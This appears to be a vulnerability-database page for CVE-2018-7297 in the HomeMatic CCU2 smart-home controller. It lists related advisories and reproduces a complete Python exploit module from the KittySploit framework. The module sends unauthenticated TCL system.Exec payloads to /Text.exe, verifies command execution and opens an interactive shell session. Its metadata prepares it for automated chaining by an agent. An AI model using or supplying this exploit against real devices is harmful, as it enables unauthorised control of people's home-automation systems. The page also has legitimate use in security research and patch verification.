HomeMatic CCU2 - TCL RCE (CVE-2018-7297)
| Reporter | Title | Published | Views | Family All 15 |
|---|---|---|---|---|
| Homematic CCU2 2.29.23 - Remote Command Execution Exploit | 30 Mar 201800:00 | – | zdt | |
| The vulnerability of the interpreter for TCL-scenarios of microprogrammed software in the HomeMatic Central Control Unit 2 allows a perpetrator to read and write arbitrary files and execute system commands on the device. | 3 May 201800:00 | – | bdu_fstec | |
| eQ-3 AG HomeMatic CCU2 Remote Code Execution Vulnerability (CNVD-2018-05831) | 23 Feb 201800:00 | – | cnvd | |
| CVE-2018-7297 | 22 Feb 201819:00 | – | cve | |
| CVE-2018-7297 | 22 Feb 201819:00 | – | cvelist | |
| Homematic CCU2 2.29.23 - Remote Command Execution | 30 Mar 201800:00 | – | exploitdb | |
| HomeMatic CCU2 - TCL RCE Detection (CVE-2018-7297) | 10 Aug 202606:19 | – | kittysploit | |
| CVE-2018-7297 | 22 Feb 201819:29 | – | nvd | |
| HomeMatic CCU2 Multiple Vulnerabilities | 23 Feb 201800:00 | – | openvas | |
| CVE-2018-7297 | 22 Feb 201819:29 | – | osv |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""HomeMatic CCU2 TCL interpreter RCE (CVE-2018-7297) — opens execute session."""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler
class Module(Exploit, Http_client, Handler):
__info__ = {
'name': 'HomeMatic CCU2 - TCL RCE (CVE-2018-7297)',
'description': (
'Exploits unauthenticated TCL system.Exec via /Text.exe on HomeMatic CCU2. '
'Opens an interactive execute session.'
),
'author': ['KittySploit Team'],
'cve': ['CVE-2018-7297'],
'platform': Platform.LINUX,
'payload': {'default': 'nopayload'},
'references': [
'https://nvd.nist.gov/vuln/detail/CVE-2018-7297',
'https://atomic111.github.io/article/homematic-ccu2-remote-code-execution',
],
'tags': ['homematic', 'ccu2', 'rce', 'unauth', 'cve-2018-7297'],
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 1,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals'],
'cost': 1.5,
'noise': 0.4,
'value': 1.0,
'requires': {
'min_endpoints': 0, 'min_params': 0,
'tech_hints_any': [], 'tech_hints_all': [],
'specializations_any': [], 'risk_signals_any': [],
'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
'confidence_min': {}, 'confidence_min_any': {},
'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{'capability': 'rce', 'from_detail': ''},
{'capability': 'shell', 'from_detail': ''},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['scanner/http/cve_2018_7297_detect'],
},
},
}
def execute(self, cmd: str) -> str:
# Escape double quotes in command for TCL string
safe = str(cmd).replace('\\', '\\\\').replace('"', '\\"')
data = (
'string stdout;\n'
'string stderr;\n'
f'system.Exec("{safe}", &stdout, &stderr);\n'
'WriteLine(stdout);'
)
r = self.http_request(method='POST', path='/Text.exe', data=data, allow_redirects=False)
if not r:
return ''
return r.text or ''
def check(self):
body = self.execute('id')
if re.search(r'uid=\d+', body or ''):
return {'vulnerable': True, 'reason': 'CVE-2018-7297 confirmed', 'confidence': 'high'}
return {'vulnerable': False, 'reason': 'No id output', 'confidence': 'medium'}
def check_execute(self):
token = self.random_text(8)
return token in (self.execute(f'echo {token}') or '')
def run(self):
if not self.check_execute():
self.not_vulnerable()
return False
return self.handler_execute()
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10 Aug 2026 06:19Current
8.7High risk
Vulners AI Score8.7
CVSS 39.8
CVSS 210
EPSS0.64251